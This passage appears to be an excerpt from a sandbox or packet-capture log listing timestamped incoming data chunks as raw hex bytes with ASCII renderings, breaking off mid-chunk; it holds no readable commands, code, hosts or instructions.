2023-07-18 15:37:06 UTC	944	IN	Data Raw: 93 c1 db 50 1d 53 22 41 2f f2 3b 7c 80 8c bb d3 e5 44 bb b7 1c 62 6f d5 6b 5b a3 4e af 3c 1e 83 67 15 13 59 1c ac 1f 8e cc 63 44 1f e6 5c 72 09 7c 14 e1 2a f3 fb 1b f9 07 33 5b ab c3 c2 db 13 a7 4e 81 c7 17 83 b6 2e a1 05 8c ad 24 f9 cb ed 67 56 f4 6c 4c 2c bd f8 3b 63 30 47 ff 1f 35 cd 9a 16 82 43 10 c8 9c 55 d2 57 5b 71 b1 dd f7 e5 52 52 f5 11 35 c9 e0 8d 7b 44 00 b5 2c fb de 1c 03 0e a3 d6 7e a6 0e 5e c9 42 16 b6 f6 1f c7 5f 4a 51 4e cd 57 d9 f2 ec f0 d9 00 00 95 ed 37 55 0c 56 63 a1 ca c0 5c e6 b1 d9 5c 31 4c 9a 44 dc 15 3b 27 68 c4 87 a3 0f ea e7 64 20 98 98 f7 69 58 2f cf 6d 82 e0 de 5d 9d e2 c8 ce a7 ef e3 b1 cf fa 99 77 b5 9c 7e 8c b4 f0 ff 88 17 79 85 8d df 8e 07 2e b9 17 11 c1 c4 2f 50 ca 08 ff 3f 79 50 ca ec e9 09 58 fd 9c af b5 07 bb 98 54 db Data Ascii: PS"A/;\|Dbok[N<gYcD\r\|*3[N.$gVlL,;c0G5CUW[qRR5{D,~^B_JQNW7UVc\\1LD;'hd iX/m]w~y./P?yPXT
2023-07-18 15:37:06 UTC	960	IN	Data Raw: a7 a5 0c e2 0a 66 84 10 f2 2d 10 d4 07 a2 11 34 e8 78 30 03 04 2e 1f 39 47 3f 68 4b f6 45 d1 90 d9 43 f3 9f 57 64 be 0a e7 ea f4 bf 25 59 e5 b2 c0 aa 38 d3 83 4d a9 02 cc 2c 85 fa 06 fa 44 33 d7 7d f1 1e a3 93 15 27 37 5f ef 22 ec 0a e0 81 a8 ec 12 8a b8 55 a3 37 bd 34 d3 ea 7a f1 07 c6 08 5a ed 25 03 47 3c e1 7f 21 6c f8 b2 35 96 f2 1a 8a f1 9d 75 c4 47 0a 78 29 6a fe b5 c7 a4 72 22 81 3e 9c 5d 38 76 35 c4 08 16 4e 61 d1 04 1d 07 67 58 05 71 e1 a6 45 ca c2 a6 9f cb 0f a9 65 5f 08 b3 53 bf 53 a6 1e 74 28 72 88 71 3d 6a f3 7e a7 f1 99 a1 f5 97 7c 89 2e 08 9b 8d 1d 5d 30 52 72 57 3a 5d 4b fd 6f 9e 8b e3 65 aa 02 57 53 7c 90 2c d0 4b 53 46 3f bd 36 53 7d b0 5f 1c 54 2f 05 4d f8 53 23 63 a7 7a 4b 41 0e ed 10 b8 85 1a 61 30 13 eb 50 f8 fa e5 9a fa 7a 4d bd 6f Data Ascii: f-4x0.9G?hKECWd%Y8M,D3}'7_"U74zZ%G<!l5uGx)jr">]8v5NagXqEe_SSt(rq=j~\|.]0RrW:]KoeWS\|,KSF?6S}_T/MS#czKAa0PzMo
2023-07-18 15:37:06 UTC	976	IN	Data Raw: e2 69 1c 01 95 1a 5e 39 c6 2a 51 91 d1 31 a5 07 df 78 36 3d 7d 6c d3 8b d3 b6 35 93 46 60 75 a1 42 6b 6a 50 f1 38 f6 18 a7 3e 71 21 15 f0 32 f5 ba 6b ba ff cd 2c 2c 18 6d 58 6d db bb 15 c7 b6 80 6d db 22 58 a8 af 9d 82 4e 1a 4c 73 8c 3f c3 2d ef 47 bb 27 b4 4e 97 7c 15 4a 7e e6 dc 7f d7 ca cc b5 d9 7c b4 0e 01 c7 9c c5 e7 67 d8 1c 5a fb 4e e4 6a b8 9d d1 de 86 0d 95 5e dc 32 14 96 d9 e6 68 6a 08 ff 1a c5 82 73 7e 37 a4 a6 4d 56 52 5d 6a a1 4a 5a 8a af 07 cd 35 e6 63 fb 61 76 f8 0b 38 72 c9 f5 46 ce 23 bb 2c b8 98 58 9a 05 c9 9f 44 3a ad 6e 5f 51 b1 9f ff 2f 12 77 5b f8 43 78 fd 81 b0 ee 0e e0 a3 bb ef 83 9b bb d5 75 50 50 c5 ee de a4 ab 88 f3 e7 1d 2a f1 57 26 2b 73 79 ce 33 88 12 73 17 c4 49 4d 13 77 22 6d a0 96 0a 64 e0 69 c0 20 a5 30 6e 17 45 f1 ed 6c Data Ascii: i^9Q1x6=}l5F`uBkjP8>q!2k,,mXmm"XNLs?-G'N\|J~\|gZNj^2hjs~7MVR]jJZ5cav8rF#,XD:n_Q/w[CxuPPW&+sy3sIMw"mdi 0nEl
2023-07-18 15:37:06 UTC	992	IN	Data Raw: 9f 01 aa e2 e7 8b 9a cd 5a 55 ad 41 90 fc a0 4f d2 31 26 4a c4 99 5d f6 55 44 dd 15 cc 00 20 fd a2 86 6f 8c 27 79 bc ce 43 0c ee ba db 86 27 71 e2 c8 b6 5a fe dd 50 69 54 08 e6 b4 9e 92 d3 21 32 de bc ac 37 28 58 e0 37 89 86 2c df 72 16 1a 73 b1 9a 12 06 11 df 1b 9d b8 0f d7 57 cc c1 31 1e fa 19 1a 69 54 dd 3b 01 f3 88 0f 85 a5 dd 42 b3 98 be ad 18 f2 c3 e8 09 61 ca a3 eb 40 10 5e 36 a3 6f bc 9b 01 83 ad ca a6 6f fe fd c1 3c 17 e0 ab 1c 06 59 13 c3 c9 be 9f e7 31 56 06 92 9d 62 bb 27 df 7c 22 8b 5a 3b 8a 42 63 3a 0d 41 f0 04 52 fb 4c 88 7d 04 18 11 5b 2f 8a 0f 0b 1b c8 30 42 99 fd 6e a3 62 c5 cc f4 3b ac 6c e8 15 23 43 07 57 d7 8b 7c 66 8c 10 67 25 ce 4d 19 71 5c 2b f9 cf 3c 64 51 3d 70 9a 66 b6 d1 86 6b 69 a6 01 a2 81 7f 45 2a 90 03 c4 b9 2e 09 23 80 d0 Data Ascii: ZUAO1&J]UD o'yC'qZPiT!27(X7,rsW1iT;Ba@^6oo<Y1Vb'\|"Z;Bc:ARL}[/0Bnb;l#CW\|fg%Mq\+<dQ=pfkiE*.#
2023-07-18 15:37:06 UTC	1008	IN	Data Raw: ad 80 2a 0d 9b 68 fd 02 14 cd 6e d1 3c 08 c8 1d 37 9e 3e e5 a5 fd a8 c2 e0 2f a2 b2 1e 85 02 f4 51 b8 5b cc c8 b8 aa 4b 00 9f dc 4e 8b a2 d8 31 33 95 46 81 4c 46 13 f7 36 7a 53 2b 11 58 c8 27 5f 5c 6d 54 91 ca 1d f5 7c 7f 29 1b 43 bb de 44 ec 2a f7 d6 e2 77 82 2d 3b f0 a8 3c d8 2f cf fc 2c f8 6c 61 a3 e3 0d c2 33 02 00 5d 12 6d 46 8c a9 36 ae 8b 8a cc a5 66 e5 fb ff 31 f8 23 2c 22 17 6b e1 62 0e 0c 4d fb a6 a7 a5 ea fd 5e 94 d2 c1 1c e7 66 8f c6 81 91 37 1f 0d ba db 26 d7 a9 80 42 bd 4f c0 37 68 5f f9 b9 df 09 86 db 3a 60 5a 99 7d 12 07 eb 13 45 13 f5 8d 7a 1c 30 89 86 ff a9 fd e3 47 ac 12 eb 2a 5e 3e c8 02 79 2a ba 59 64 97 ed e3 1b 8f 2f f5 d4 17 0a 2c 22 86 a9 64 68 b5 73 3e 7c a2 f0 f6 b4 d3 2f 61 5c d3 57 84 d8 2f ba 52 13 bf d2 1c b1 f1 64 1a a3 7e Data Ascii: hn<7>/Q[KN13FLF6zS+X'_\mT\|)CDw-;</,la3]mF6f1#,"kbM^f7&BO7h_:`Z}Ez0G^>yYd/,"dhs>\|/a\W/Rd~
2023-07-18 15:37:06 UTC	1024	IN	Data Raw: 7a ba 8d 29 45 9d 8b 4b f8 a6 51 a4 46 5e 2f 51 a0 37 67 46 e2 5c 15 29 72 00 d0 6d 9e de 4f b3 f2 66 71 3a 05 86 d1 d6 63 ad 71 08 fc 39 4f 12 5c b4 08 56 48 f4 5a 2f 97 5d 04 6b ee 41 91 34 8e 38 0e 02 02 7e 57 46 05 46 dc 80 10 f7 4b 56 7f 15 2b 36 4c a9 77 50 97 46 4b 75 5e e4 c9 33 e7 61 d0 17 9a 23 e8 26 e1 ba f0 5c 17 b8 60 f8 ab a8 53 dc 0e ff 32 c0 03 8c c2 a7 83 96 20 ef 3b de 2e ba 76 3a 03 64 69 ba 42 f7 59 8c 86 ff 12 e8 e3 b8 ee 28 04 d0 f4 22 30 07 73 97 dd 53 fe 93 d0 e7 b5 cc 51 5d e1 33 c9 b0 a8 78 d8 4d 2b 0e d6 70 ac ef 6a ba 6e b0 fa bd 19 31 74 99 c7 04 80 d4 a9 a6 56 e0 cf 5b 77 51 0c 44 cf ea 6e 72 81 7b 23 03 39 00 de 12 82 4d 33 d6 51 66 80 39 c0 05 39 2d 63 a0 4e 9b 8b 6c ab 79 76 91 91 64 e9 2d d2 fc fe 3d ff 47 e7 92 8d 70 1f Data Ascii: z)EKQF^/Q7gF\)rmOfq:cq9O\VHZ/]kA48~WFFKV+6LwPFKu^3a#&\`S2 ;.v:diBY("0sSQ]3xM+pjn1tV[wQDnr{#9M3Qf99-cNlyvd-=Gp
2023-07-18 15:37:06 UTC	1040	IN	Data Raw: 7b 11 2e 91 f2 90 33 4d d9 cb 43 ca 25 ea c6 23 1f ce a1 83 4b e3 87 8f b1 cf 3e da 37 53 e8 20 c0 57 60 41 fd 00 58 b6 5f e0 30 0b b6 ee a5 9e a7 43 0c ec 91 3f 0d 33 20 6b 55 b3 82 cf bd ec eb 89 a1 20 de 15 b3 03 d8 86 46 f3 70 c1 26 d1 49 91 5a a1 06 03 15 44 a7 13 b0 3a f3 5b f3 bc eb 14 c8 4a 7d bb bf 64 5d 0c b8 53 50 42 e1 b1 83 01 40 05 b7 91 d9 be 1d 43 97 8f 3a c4 b5 3f ab f7 1a 94 cd fd ce 6b 67 3d ac df a2 3d 99 f9 c3 a0 e2 c8 10 64 6b de 3f 84 73 b4 b7 41 5f 00 68 19 33 4f 2a b9 5e bc e2 19 bd 28 a7 b9 6d 0f 2b a6 40 f0 7a 8e 29 27 17 ab bc 80 91 e6 b5 c8 52 9c e5 81 3a c5 46 d7 f0 72 bb 58 40 b6 f5 a0 14 a2 4d 2f 14 58 40 29 e6 de 1a e8 44 4c 51 fb ca 78 38 97 32 7a 99 13 92 6e 83 60 7d 35 2a 14 b0 f4 36 69 c0 1d 33 55 e1 4c 5a fe cf 53 98 Data Ascii: {.3MC%#K>7S W`AX_0C?3 kU Fp&IZD:[J}d]SPB@C:?kg==dk?sA_h3O^(m+@z)'R:FrX@M/X@)DLQx82zn`}56i3ULZS
2023-07-18 15:37:06 UTC	1056	IN	Data Raw: 1d 40 3c a9 f5 69 a9 b8 8a 77 0c de 16 a5 ad a8 01 d6 2a d9 bb 57 fd 7a f2 c4 39 66 c1 1c 96 0e d0 b1 e1 11 6a 31 61 ac b3 29 f5 a5 a2 84 95 4f 2c af 82 29 19 94 e0 91 13 09 a6 69 a7 ae 24 37 16 c8 60 04 41 c1 50 8f bc 2a 5f b3 44 16 0a 6f b6 d4 a9 58 38 76 e6 7d 4c 3a 23 78 c1 58 f3 99 46 ea 4e c2 ee 54 b9 d0 51 79 66 7e ea 00 d0 ad 87 13 5c 62 3f 9b 7c 71 2f f8 97 4e 89 7d 62 7f 05 ab 02 39 41 3d e4 09 57 87 ea 59 be 8e f2 c9 f6 a2 7d b5 6d 56 2a 7d 8f 73 ac b8 ec 1e b0 69 7a 3d 30 9d 05 a1 de b5 3c 9a f3 91 c7 58 1f 4b 90 6a 06 65 eb 83 a0 71 9a b9 46 af 0d 7c ad b2 b2 fd 3f 6b 4b 9e 67 81 b8 51 f2 89 bb f3 ee e0 04 f5 0f 2a 19 ae 6a 48 fd d9 31 f0 6b 94 8a 21 1e 76 ac a1 15 c7 27 dc 32 50 20 02 c1 1f d3 d2 1c 05 83 54 df 9f b5 3e 8a 85 16 0d 35 db d2 Data Ascii: @<iwWz9fj1a)O,)i$7`AP_DoX8v}L:#xXFNTQyf~\b?\|q/N}b9A=WY}mV}siz=0<XKjeqF\|?kKgQjH1k!v'2P T>5
2023-07-18 15:37:06 UTC	1072	IN	Data Raw: e7 7b 56 33 b9 e2 b7 d6 5e 15 32 ea a1 49 40 1f ff 31 49 b0 95 fa 3e 58 5a 02 24 0d 13 04 5d a3 e5 29 6f 59 9d f4 be ca 7d c3 08 db 89 96 34 84 17 e9 58 aa ac fa 7b b5 ab 49 94 b9 89 6d 8f 1d cd 68 ca 56 a7 2e 70 75 d0 16 53 4c 22 a5 13 77 13 21 30 97 cb 35 75 47 34 8b d8 50 d8 2b 30 7f db b3 de 5e 56 54 62 21 1a 8f 23 e6 65 c7 24 04 b6 e5 2b 84 0a 5d 38 7d be 56 11 ae 1d 13 0a d0 d2 da 76 e1 a5 a0 67 7d 69 a7 8a d4 b7 b4 5a 8a a5 86 eb 58 0b 61 d5 2d 96 35 cd b7 4b 00 af 6d 3d f8 02 b2 b6 b5 33 fb 53 37 ac 8c 47 1b 0b 29 fc 92 4a d9 8d f1 55 a9 1c 18 61 9b e1 5b 1d a8 46 7d a7 d9 28 70 86 48 de 3d 51 5d c6 c3 58 ef 4e d8 d4 fd 27 8d 77 ed 43 e3 33 2f fd 7b b7 32 a0 09 da 04 e3 4b 67 20 40 e2 69 b3 a5 13 1c 04 66 0a 77 64 4c 2e 6f 80 de 32 5c 14 28 23 44 Data Ascii: {V3^2I@1I>XZ$])oY}4X{ImhV.puSL"w!05uG4P+0^VTb!#e$+]8}Vvg}iZXa-5Km=3S7G)JUa[F}(pH=Q]XN'wC3/{2Kg @ifwdL.o2\(#D
2023-07-18 15:37:06 UTC	1088	IN	Data Raw: a8 e0 c0 47 62 44 3b 6c ae 94 39 b9 df 43 4c 75 a6 8b 90 3e 8e ce 85 ca 1e 8b a5 b7 47 fb b6 db b4 4d 0c 32 c2 4b 93 5b 05 f2 7e 8d 35 e9 a0 d8 e4 a3 d1 e5 bd 6f 70 f6 b5 ae 5d 10 9e 46 a6 74 f0 16 ed f0 85 c8 e0 a3 09 6f a6 52 52 09 20 ff 56 85 58 1b 95 c8 bc f7 e8 52 af 0a 16 44 5a ff 9c 47 7e a8 95 58 f5 c9 c8 71 92 6f 50 b3 21 1c 3a ec e8 01 1c ea fd 86 11 41 4c 66 4c 71 36 eb 63 26 cb 4d f0 41 5a 66 01 12 40 da 84 05 5e a5 9e 85 de df 9a 45 9f 45 00 d9 4d e0 a8 76 8e 04 6b 3e 57 c4 d8 40 ad b1 46 bd a2 5e 96 a9 7e c5 f4 aa 02 4b 27 20 8c 40 58 c1 6a f6 ae 38 ae cc 7a cf 22 15 02 07 7d 07 46 9b e0 39 e9 31 60 34 bc 4f 18 d3 02 0f a4 5c db 33 66 69 34 6d 89 48 d9 0a 36 32 32 b1 d5 b2 e7 0b 00 d0 73 06 33 f1 c5 3b 37 08 d0 cf 7e 75 77 dc 0f ac 0d 2c ec Data Ascii: GbD;l9CLu>GM2K[~5op]FtoRR VXRDZG~XqoP!:ALfLq6c&MAZf@^EEMvk>W@F^~K' @Xj8z"}F91`4O\3fi4mH622s3;7~uw,
2023-07-18 15:37:06 UTC	1104	IN	Data Raw: e4 47 04 12 45 30 ed 35 2d 9f 96 40 b1 ad d8 2f 0c 49 1d f9 b5 46 51 62 11 59 ef 89 e5 9e a4 53 a8 d8 a8 9b 12 a5 9d 89 32 76 98 f6 80 09 ef cc 9c 50 57 fb 7c e0 96 d0 0a c6 bd 30 9a 28 a9 ee da 9b cd 2a 72 13 38 11 30 15 4e 57 c0 16 e5 24 5b a3 a5 2b f9 20 90 95 dc c1 74 d1 a3 f0 a3 20 3c af 18 64 c0 1f e6 2f 23 78 80 07 50 a8 f2 bd 3d 1c a5 d0 5c cd f8 52 aa 33 ee 28 45 3a 60 53 e4 77 88 b5 29 f5 74 5d 31 0b 6b 8d f3 70 f2 76 2f 07 35 5c 60 2a c4 b9 b3 26 f6 89 2b a5 15 42 9e 37 09 f4 27 8a 62 d7 60 e2 c9 57 50 82 af d5 46 c9 7c cd 81 f6 e7 94 df 49 0d b2 ac 4d 83 16 91 8b 3c 61 fe c1 44 1d fc 51 53 f7 e9 2f 87 ca cc 19 41 a4 8d b8 80 8d 10 8e 97 2e ff eb 84 7d 6c 2a 14 7d 95 bc af 6d 59 6d ec c4 d6 6b 72 47 ad c5 59 4c 1a ad 7a b5 a5 88 7d b1 ad ef 59 Data Ascii: GE05-@/IFQbYS2vPW\|0(r80NW$[+ t <d/#xP=\R3(E:`Sw)t]1kpv/5\`&+B7'b`WPF\|IM<aDQS/A.}l*}mYmkrGYLz}Y
2023-07-18 15:37:06 UTC	1120	IN	Data Raw: 39 58 2f 79 cc be 1a 52 e2 cc 76 af 3a 9c 6c b8 94 2c 2f ce 8c 39 82 3b 0e 21 a2 ce af b1 2e 2c e0 63 eb 02 51 98 b8 b3 fb 36 86 6b 3c f5 36 1c d8 f3 80 9e 23 50 cb 6b b4 69 17 de 6d de 66 53 1d 8e 57 aa 0d 78 e3 8f a8 16 d5 de f5 9d df b6 41 25 7a 1b b2 db d2 50 f5 ed d4 09 46 c8 c1 8b 1e 5b 2b 72 5f a4 f2 20 d3 22 74 80 11 bc cd 0f df cb f4 85 1e 3a 81 a5 1a 7e ef 04 b5 b5 80 d5 87 7e 6c 8e 30 db 01 25 e2 5f 3f b3 ad 80 d1 94 7c 29 d2 59 21 30 af b2 3b 62 bd 57 26 91 d2 df 1f 95 4a 03 c8 67 32 dd 36 d3 84 db 74 fd b9 fe ab 7a 9d 37 a7 1f 3f a2 22 3e 22 75 27 07 52 c9 50 90 7d c1 7e f4 21 49 f8 a2 d4 b2 0e a3 3c 79 00 9b de c5 28 0d 27 c0 dd ec 8a 53 97 79 1c 5b 91 9e 13 2c 45 b3 27 7f 19 eb 85 fb 14 50 b3 a0 1a 90 d2 49 a9 f3 b1 ac d0 fa ce 15 d6 d3 07 Data Ascii: 9X/yRv:l,/9;!.,cQ6k<6#PkimfSWxA%zPF[+r_ "t:~~l0%_?\|)Y!0;bW&Jg26tz7?">"u'RP}~!I<y('Sy[,E'PI
2023-07-18 15:37:06 UTC	1136	IN	Data Raw: ad d8 9a be fd e8 f9 2c f9 aa 4d ca 04 e7 83 3a c5 7d ab 7f 31 95 d6 93 36 4b 13 56 88 f8 1f 82 4d 73 3d 82 9b e4 c6 2c 74 1e 93 27 73 b3 d8 f1 c7 84 fe f4 f1 66 ae 67 f2 05 f7 b6 f5 9b f6 36 ae 28 1c c0 a2 83 73 2c 12 c1 05 37 41 8e ee 45 19 3c 86 a0 8f 08 75 27 7d f5 d7 f1 50 c9 cc ce 99 a9 b9 63 cc dd 68 4f 53 32 0f 98 ee a4 d2 9f 01 fb 14 7a f7 2c 8e 78 6a 38 ea 26 31 63 6c 56 ae 4b 03 ea 72 b1 9b 3d 6b 4b 5f ed bf 59 92 3b 1e 9f 24 01 fc ff 49 2e 05 88 fe 8d 30 71 b6 8d cf 0e 50 f5 61 43 f7 d9 02 d0 f0 67 46 3c 35 39 26 35 cb 1a e8 4a 4c 9f 18 5f 5a ba 00 bc a0 89 14 40 8c 76 8d f9 cf f1 20 25 36 9a 0e d7 d3 ce 54 02 2e e0 f6 2e 1a 0f 85 a6 fc 3b f7 03 0c b4 a1 fa 03 60 f9 98 dd 44 79 95 ed 09 54 7a c5 ba eb 46 e8 5d 11 1c a2 3c 3a 36 57 bc 1e ff 13 Data Ascii: ,M:}16KVMs=,t'sfg6(s,7AE<u'}PchOS2z,xj8&1clVKr=kK_Y;$I.0qPaCgF<59&5JL_Z@v %6T..;`DyTzF]<:6W
2023-07-18 15:37:06 UTC	1152	IN	Data Raw: 96 4d a2 7a b4 1b 27 40 d7 9d 89 d5 70 c2 92 d7 44 5c 02 36 cb 69 b2 11 52 af 82 0d 9f d9 76 1f 32 74 a8 a4 d7 96 3f ed 98 c0 31 8d 2b cc a1 98 08 00 5c 8d 2f 03 03 8d 2f b9 96 ca d4 50 14 3a 54 cf a1 02 ea fb 66 3b c5 f0 d6 d3 e1 7f 45 0d f0 b5 cb 12 73 48 5f 4a 53 dd 7c fb 37 a6 31 b5 f0 fd 29 4a 47 0a 94 cb a5 67 e5 31 b1 c1 e5 69 4a 9d d7 e6 c2 ee 74 f9 ac 3d 6c 6b 09 dd 89 3b bf 66 d3 21 ce b5 00 8a 80 86 d3 b1 dd 33 a7 b1 f8 d2 77 f3 85 df b3 ce f5 3d 8c 05 a5 a9 b1 e4 4c c6 80 1d 54 82 e2 eb 0a 88 eb e5 51 54 76 e3 33 d2 1c 7a 7d a8 d2 ae 87 a8 21 1a 38 fa 14 9f 6f ef a3 e2 99 e8 d7 47 2a 78 fb f7 12 e7 29 c5 02 ee e6 7a 3f 84 2e 01 08 50 80 e5 93 47 59 0e c0 1d ee dd 6d c8 f3 06 ae 67 cd f0 ea b8 10 db da 4f ed c7 48 a0 5e 94 d3 c0 58 b4 af b6 6d Data Ascii: Mz'@pD\6iRv2t?1+\//P:Tf;EsH_JS\|71)JGg1iJt=lk;f!3w=LTQTv3z}!8oG*x)z?.PGYmgOH^Xm
2023-07-18 15:37:06 UTC	1168	IN	Data Raw: eb 7e e6 29 33 aa b6 70 c7 f3 ca f8 c9 08 aa c6 52 d6 d3 90 f6 fb 19 f8 5a 5a 8e ac f2 be 88 85 87 13 23 ab 7d 9f fa 3f aa 0a 62 3d 51 72 16 d6 b1 d1 33 2d c3 9b 7e 55 79 b5 f6 45 ff 07 6b 4a 6e 82 70 ae 53 22 8b 8c 4c 93 bf 66 60 23 8f 25 a2 16 e1 c9 22 68 ca 49 e6 df 0b 9a 35 e6 de 2a 4e 89 e2 0e d9 1e db f0 53 51 39 9f 1f 42 77 88 37 df 7c 84 65 4b 93 8e 20 9b 65 27 ad 5a 2f 29 4c da fb e7 95 e6 ca 87 4c 49 c9 93 f8 b0 0e b7 3c 90 6e f9 8d bb 09 13 4e 3c d6 6e 30 3c b8 25 21 e0 8c 6a f8 b8 95 eb 96 41 73 0d b8 cf 48 1b 43 15 62 3a 6f 63 77 1f d5 15 70 1a d9 0c 26 9a 19 94 b7 1f 74 46 4e a8 03 eb 40 8b b9 ab 0b ad 51 5e 9b 25 42 ce b1 6a 40 84 4a c4 00 b3 35 2a d7 9a e6 04 b2 6a b5 23 19 3e ba 89 81 62 33 8d a3 d3 b6 f6 a1 10 c4 43 5c e5 49 ba 8f ef 04 Data Ascii: ~)3pRZZ#}?b=Qr3-~UyEkJnpS"Lf`#%"hI5NSQ9Bw7\|eK e'Z/)LLI<nN<n0<%!jAsHCb:ocwp&tFN@Q^%Bj@J5j#>b3C\I
2023-07-18 15:37:06 UTC	1184	IN	Data Raw: bb 33 33 eb da e1 d6 3c 47 a0 da 92 de e7 7e e2 a2 c7 f5 de d4 7d 06 bf c6 c1 35 05 69 33 3b 34 a2 30 eb 54 27 3d bd ac ac d0 27 e3 5f 26 b7 e9 e3 79 08 49 7a c4 7e c5 e8 38 b7 fe 12 7d db d7 44 d4 99 9b 22 f9 cc 94 a4 39 bf 28 ae 65 7b ca dd fe 54 0f e5 be dd 17 b2 32 ec 65 1c 56 41 5f f6 21 0e bb 08 db e3 41 d7 69 14 48 d9 8b a2 94 05 04 bf 06 f9 43 c4 33 4b ff 94 91 0e 81 39 d3 70 0e a5 fb c5 3b c1 cb 92 2b 41 f6 32 c5 2c 5e d8 fb 5b e8 d0 a2 42 55 3f ef 06 4f 9f cf 9a a6 29 44 68 6d 39 83 92 17 83 95 83 ac 43 9d cf 0c 27 17 61 8a b2 a7 78 35 9c 41 13 b1 34 cf 78 9c e9 57 70 87 d0 10 4d 86 b6 ea e8 92 d2 19 27 98 2b 15 55 a5 d2 97 21 41 60 c1 f7 5e e5 4b ea 37 27 1f ce 44 78 d0 2b f8 b7 d8 49 04 12 a6 4b e8 7f 5b 3f a6 02 4b ee 74 04 f5 5e 61 cf 7c f0 Data Ascii: 33<G~}5i3;40T'='_&yIz~8}D"9(e{T2eVA_!AiHC3K9p;+A2,^[BU?O)Dhm9C'ax5A4xWpM'+U!A`^K7'Dx+IK[?Kt^a\|
2023-07-18 15:37:06 UTC	1200	IN	Data Raw: 14 79 f9 82 50 ae 21 af c8 7c a4 a3 c0 56 41 88 92 d8 04 9d 17 4f 99 1b 08 2b 3d bb bf 74 04 58 b5 e3 97 dc 58 39 bf c3 da 1e 08 3b 8a 23 c0 3a 86 34 ad 00 02 8d 29 39 d1 97 80 c1 59 d9 0c 45 79 dc f8 2c 62 3a 2b 1c e9 4b 05 2a 76 28 b7 bc c2 93 b1 9f be 53 1b 20 42 9e b1 17 c8 f1 3c 88 1c eb ae 8f dc b5 e1 e0 b3 a0 4c 02 65 95 5d c2 eb 8a 7d 95 16 47 a7 a2 f7 17 24 72 89 51 a3 d7 22 24 fa c5 74 50 39 28 72 94 5f 2e d1 31 80 ea d3 dc ae be 9f 8a 99 20 7f d7 f9 a3 ee d7 81 f0 84 99 d8 0a 59 35 7f f3 79 1c 09 ef 32 9e 09 5d e4 d1 b5 1e 78 94 40 65 2b 6a 5c 09 99 24 8e 46 29 e1 21 2b 83 6a b6 31 e6 4b c1 cf da ce 64 36 40 ef d7 bb 71 c6 d4 75 3b 49 90 c7 86 68 e9 d0 7d 35 c2 64 50 8e 3d c9 0d 1e 15 d5 95 ac 7c a9 88 b9 46 3e cf 35 09 fd 7d 0a b7 ec 08 df 27 Data Ascii: yP!\|VAO+=tXX9;#:4)9YEy,b:+K*v(S B<Le]}G$rQ"$tP9(r_.1 Y5y2]x@e+j\$F)!+j1Kd6@qu;Ih}5dP=\|F>5}'
2023-07-18 15:37:06 UTC	1216	IN	Data Raw: 87 71 27 e6 b7 ad ba 9c 13 12 dc 1f bd e6 d9 ef 1e 57 e6 53 4e 7b 44 13 20 4c d4 4e 2f aa 55 1a 6e 85 49 c4 a0 2e 0f 04 6c 95 27 ab 4d 14 e0 61 b1 0c 3e 84 81 c8 f4 27 c8 5b 67 e6 10 e8 37 44 f9 43 93 1b 6c 8c ca e3 a7 7b 73 c0 c9 6e c4 f1 04 3b b1 94 2d f7 0a 45 79 bc b4 86 f3 68 dd 27 d8 23 8b 1d 9e 1d 3a 91 7d 89 0b c4 07 6b 49 c1 25 85 e6 4f b8 b0 db db 3e b9 2c a9 47 26 d6 0c 85 09 72 5c 4e c6 80 e3 1e 10 ee 4f a7 92 06 07 bc f5 af c8 ca 94 16 64 9a 24 cf be 4c 73 81 24 7e 19 2a 3a 2c 92 e4 26 5c c3 56 2c d2 4f bb 28 05 96 f9 f5 ea 12 e2 29 1f 54 6b c5 da ad dc 72 53 72 2e 42 d9 4d 6f b1 7c 9c c2 c0 bb 35 ac 54 40 b5 31 5e af 44 09 55 35 f9 50 82 cf 0a 4f ad b0 be 3e c7 0e a0 ed 1f af 4b d0 cf 53 dd 1d b6 a1 17 da 20 7c c4 ef ab 51 57 b1 cd 1a d5 55 Data Ascii: q'WSN{D LN/UnI.l'Ma>'[g7DCl{sn;-Eyh'#:}kI%O>,G&r\NOd$Ls$~*:,&\V,O()TkrSr.BMo\|5T@1^DU5PO>KS \|QWU
2023-07-18 15:37:06 UTC	1232	IN	Data Raw: 68 9f ac 98 8b ab 0e d2 c6 3a c3 98 46 bd fb 52 9e 3c 34 43 e6 24 5d 08 02 1e 1d 95 01 07 a9 17 ea b5 55 91 d8 92 22 67 d0 5b 95 c0 e9 a5 7a 10 69 64 91 9e 44 c7 b3 90 b9 dc a5 50 4d e9 80 48 1a 82 bd f5 e6 88 b0 1f eb a2 f5 a6 30 89 b4 76 95 be 1d 1f da 06 5a 7e 86 8a 4f c6 48 03 85 89 70 af 6d 05 e2 36 6f c4 e8 dc 41 c0 a0 f0 ef a1 f7 5c 95 6e e7 e5 b4 8b 3c 33 ec 5b a4 f5 34 c3 14 66 ba e3 ea ac e3 71 40 2b 64 16 b3 58 16 af 3f 5d 33 69 20 3a 04 66 24 c9 c5 37 f3 b5 b5 ba 2c 65 da c2 3a 6e da ba 1d fd da 4d bf 98 0a 59 5f 7b 5f 29 a8 be 13 b7 f6 44 cf 9e c5 a1 b4 c9 04 ce dc 10 cc 14 c6 c7 82 e0 44 0b 2c 45 85 6d 39 2e 43 74 a5 6f ac e4 44 01 28 29 50 af d1 8d c4 c1 6f b4 24 ff 43 46 04 67 2a 09 91 8d d8 12 bd 92 c1 11 0f 5b 27 a3 8a 81 6a 07 40 8f 3c Data Ascii: h:FR<4C$]U"g[zidDPMH0vZ~OHpm6oA\n<3[4fq@+dX?]3i :f$7,e:nMY_{_)DD,Em9.CtoD()Po$CFg*['j@<
2023-07-18 15:37:06 UTC	1248	IN	Data Raw: 08 8e 6d 83 3f 60 0a 6e f4 c2 ec 1e 7e a0 79 39 5e fc 9c 4a d8 7c 45 4a e8 2d c4 de 47 a2 8d 54 1b 8d d9 a1 2d 53 a5 8b 42 de 36 1c cd eb b1 4f 17 f5 08 30 58 7d 6c 18 4d 5c aa 19 23 c4 9a 16 85 c1 f4 83 26 95 a1 52 6f 32 5a bf 64 3e f2 83 6d 49 90 00 f5 a9 74 b9 cc 6b 5e 07 50 f2 b9 7d 85 27 6e 61 23 16 59 94 63 5c 06 a9 35 08 f8 c8 fc fb b7 8e 18 2a 90 a7 1a da 81 81 aa e9 91 0b 62 a3 96 72 c2 01 9f 06 39 7c 32 5d ab 47 95 40 40 8b 14 23 d2 6e ba 4a 5e a1 60 26 ec d6 c9 9e d2 53 79 f5 35 d7 41 21 31 24 93 ce 39 72 1b fa 7c 5a ec e2 9b dc ec 8d 69 c2 a2 05 aa 43 63 1a 09 74 fa 17 53 b1 29 77 67 41 14 d9 b6 63 45 f5 ed 6c 1a ec c3 de 8c 1f b2 b5 86 2a 82 ec 6c 48 f8 28 0f b7 66 dd d4 a5 4f 94 79 d5 5a 